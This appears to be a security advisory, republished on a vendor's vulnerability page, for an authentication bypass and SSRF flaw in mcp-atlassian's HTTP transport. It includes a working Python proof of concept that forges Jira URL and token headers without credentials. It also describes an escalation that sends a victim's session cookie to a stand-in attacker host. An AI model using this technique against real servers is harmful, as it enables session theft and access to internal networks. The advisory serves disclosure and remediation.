
PEACH
Un cadre d’isolation des locataires
When mcp-atlassian is run as an HTTP service (--transport streamable-http or sse — the documented multi-user / remote deployment mode, shipped with a Dockerfile and Helm chart), a network client that presents no Atlassian credentials can
(1) bypass the transport authentication gate and
(2) make the server issue credential-bearing HTTP requests to an attacker-chosen host (SSRF).
An attacker supplies non-empty X-Atlassian-Jira-Url + X-Atlassian-Jira-Personal-Token header strings (values are never verified). UserTokenMiddleware then classifies the request as user_atlassian_auth_type = "pat", which satisfies the check whose purpose is to reject credential-less requests. Downstream, "Branch 1" of _get_fetcher builds a JiraFetcher/ConfluenceFetcher whose base URL is taken verbatim from that header and immediately issues GET <attacker-url>/rest/api/2/myself — followed by the actual tool call — to it.
Unlike the sibling "external auth" code path, Branch 1 does not require MCP_ALLOWED_URL_DOMAINS, although that path and .env.example state it is mandatory "so trusted auth headers cannot be sent to an attacker-controlled public host."
Impact by configuration (all on top of HTTP transport):
*_PASSTHROUGH_HEADERS configured (standard for multi-user identity forwarding): the proxy-injected header (Cookie, X-Auth-Token, SSO assertion) is exfiltrated to the attacker host → session / identity takeover against the real Jira/Confluence.MCP_ALLOWED_URL_DOMAINS configured (docs recommend it for per-request URLs): SSRF reaches internal-network hosts under the allowlisted domains, with DNS/private-IP checks skipped for them.
Not exploitable in the default stdio transport (single-user / local IDE usage).Line numbers are against commit 9b66129 (post-0.23.1 main).
1. Authentication-gate bypass — src/mcp_atlassian/servers/main.py, UserTokenMiddleware._process_authentication_headers
The URL header is SSRF-validated (lines ~624–638, validate_url_for_ssrf), which blocks localhost / private IPs / 169.254.169.254. It then does:
# ~686-694
if service_headers and (
(jira_token_str and jira_url_str)
or (confluence_token_str and confluence_url_str)
):
scope["state"]["user_atlassian_auth_type"] = "pat"The presence of two non-empty strings is treated as authentication — no token validation, no URL allowlist. That value short-circuits the transport gate that is meant to reject unauthenticated MCP requests:
# ~521-542
if (
not ignore_header_auth
and self.mcp_server_ref
and self._should_process_auth(scope_copy)
and not scope_copy["state"].get("user_atlassian_auth_type") # now truthy -> gate skipped
and self.mcp_server_ref.auth is None
and not is_env_truthy("ALLOW_GLOBAL_CRED_FALLBACK")
):
... # 4012. SSRF — src/mcp_atlassian/servers/dependencies.py, _get_fetcher "Branch 1: header-based PAT" (~854–882)
if (
user_auth_type == "pat"
and url_header_val
and token_header_val
and not hasattr(request.state, "user_atlassian_token")
):
header_config = spec.config_class(
url=url_header_val, # attacker-controlled, NOT allowlist-checked
auth_type="pat",
personal_token=token_header_val, # attacker-controlled
**_get_header_pat_network_config(ctx, spec),
custom_headers=None,
passthrough_headers=get_header_names(spec.passthrough_env_var), # still attached
**spec.filter_kwargs,
)
return _create_and_validate(request, spec, header_config, "header_pat",
attach_ssrf_hook=True)_create_and_validate (~479–563): merges configured passthrough headers from the current request into the fetcher session (_get_request_passthrough_headers, ~511–519), then calls spec.validate_fn(fetcher) (~548) -> get_current_user_account_id() / get_current_user_info() -> GET <url_header_val>/rest/api/2/myself with Authorization: Bearer <token_header_val> and the passthrough headers. The subsequent tool call is executed against the same attacker URL.
3. The control present in the sibling path but missing here — src/mcp_atlassian/servers/dependencies.py ~1010–1033
if not os.getenv("MCP_ALLOWED_URL_DOMAINS", "").strip():
error_msg = (
f"Dynamic {spec.name} URLs in external auth mode require "
"MCP_ALLOWED_URL_DOMAINS to prevent passthrough credential exfiltration."
)
raise ValueError(error_msg)
ssrf_error = validate_url_for_ssrf(url_from_header).env.example ~118–122: "This option also requires MCP_ALLOWED_URL_DOMAINS so trusted auth headers cannot be sent to an attacker-controlled public host." The maintainers already recognise per-request URLs as dangerous and require an allowlist — the check is simply absent from Branch 1 and from the middleware gate.
4. Why the existing SSRF hardening does not close it
validate_url_for_ssrf + SsrfPinningAdapter block private/loopback/metadata IPs — not arbitrary public hosts. http://attacker.example resolves to a normal public IP and passes.MCP_ALLOWED_URL_DOMAINS is set, validate_url_for_ssrf returns early for any matching host, skipping the DNS/IP check entirely (utils/urls.py, allowlist branch), and SsrfPinningAdapter (utils/ssrf_adapter.py, _operator_trusted_hosts) exempts those hosts from the non-global-address rejection. Any *.<allowlisted-domain> name resolving to an internal IP is then reachable.UserTokenMiddleware, reject the request unless MCP_ALLOWED_URL_DOMAINS is set and the header host matches it; re-run validate_url_for_ssrf(url_header_val) at fetcher-build time; do not treat unvalidated X-Atlassian-* header strings as satisfying the "authentication required" gate; do not attach *_PASSTHROUGH_HEADERS when the destination URL is caller-supplied.Reproduced on commit 9b66129, Python 3.13. Reproduced independently on two machines.
Server — stock config, HTTP transport (same process the published Docker image runs, ENTRYPOINT ["mcp-atlassian"]):
JIRA_URL=https://acme.atlassian.net \
JIRA_USERNAME=ops@acme.com \
JIRA_API_TOKEN=fake-operator-api-token \
uv run mcp-atlassian --transport streamable-http --host 127.0.0.1 --port 9000No ALLOW_GLOBAL_CRED_FALLBACK, no OAuth proxy, no *_PASSTHROUGH_HEADERS, no MCP_ALLOWED_URL_DOMAINS.
Attacker — no Atlassian credentials, no Authorization header (stdlib only):
import http.client, json
def post(body, sid=None):
h = {"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"X-Atlassian-Jira-Url": "http://example.com", # attacker-chosen host
"X-Atlassian-Jira-Personal-Token": "junk"} # not a real token
if sid:
h["Mcp-Session-Id"] = sid
c = http.client.HTTPConnection("127.0.0.1", 9000)
c.request("POST", "/mcp", json.dumps(body), h)
r = c.getresponse()
return r.status, dict(r.getheaders()), r.read().decode()
st, hdrs, _ = post({"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-06-18", "capabilities": {},
"clientInfo": {"name": "poc", "version": "0"}}})
print("initialize ->", st) # 200 - no credentials supplied
sid = hdrs.get("Mcp-Session-Id")
post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}, sid)
st, _, body = post({"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {"name": "jira_search", "arguments": {"jql": "project = TEST"}}}, sid)
print(body)Result:
initialize -> 200
Error calling tool 'search': Invalid header-based Jira token or configuration:
Unable to get current user account ID: 404 Client Error: Not Found for url:
http://example.com/rest/api/2/myselfThe 404 and the "Example Domain" body are returned by example.com — the server connected out to the attacker-named host with no credentials presented. Server log:
INFO servers.dependencies - Creating header-based JiraFetcher with URL: http://example.com and PAT token
ERROR mcp-jira - HTTPError getting current user account ID: 404 Client Error: Not Found for url:
http://example.com/rest/api/2/myself. Response: <!doctype html>...<title>Example Domain</title>...Control: X-Atlassian-Jira-Url: http://169.254.169.254/latest/meta-data/ -> 401 Forbidden: Invalid Jira URL - Blocked IP address: 169.254.169.254 (non-global) (private/metadata still blocked on stock config).
Escalation — credential exfiltration + internal SSRF. Restart the server with two additional, individually-documented settings:
JIRA_PASSTHROUGH_HEADERS=Cookie # docs/configuration.mdx; .env.example uses "Cookie"
MCP_ALLOWED_URL_DOMAINS=collector.example # .env.example:118-122 recommends this for per-request URLsThe attacker adds Cookie: session=<victim SSO session> (a header a trusted front proxy would inject) and sets X-Atlassian-Jira-Url: http://sink.collector.example. The server issues GET http://sink.collector.example/rest/api/2/myself and the real jira_search request to that host, each carrying Authorization: Bearer junk and Cookie: session=<victim SSO session>. The attacker-controlled host receives the victim's session credential.
mcp-atlassian in HTTP transport (streamable-http / sse) — the documented multi-user / hosted / Kubernetes (Helm) / remote-MCP / multi-tenant deployment mode. Not impacted: default stdio single-user local usage.*_PASSTHROUGH_HEADERS set (standard for multi-user identity forwarding): the proxy-injected header (Cookie, X-Auth-Token, SSO assertion) is exfiltrated to the attacker-chosen host -> session / identity takeover against the real Jira / Confluence.MCP_ALLOWED_URL_DOMAINS set (docs recommend it for per-request URLs): SSRF reaches internal hosts under the allowlisted domains, with the DNS/private-IP check skipped for them.Fixed in mcp-atlassian 0.24.1. Duplicate reports closed into this advisory: GHSA-qc29-wxwq-f3vr, GHSA-6q9m-223p-hqvr. Their reporters are credited here.
Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."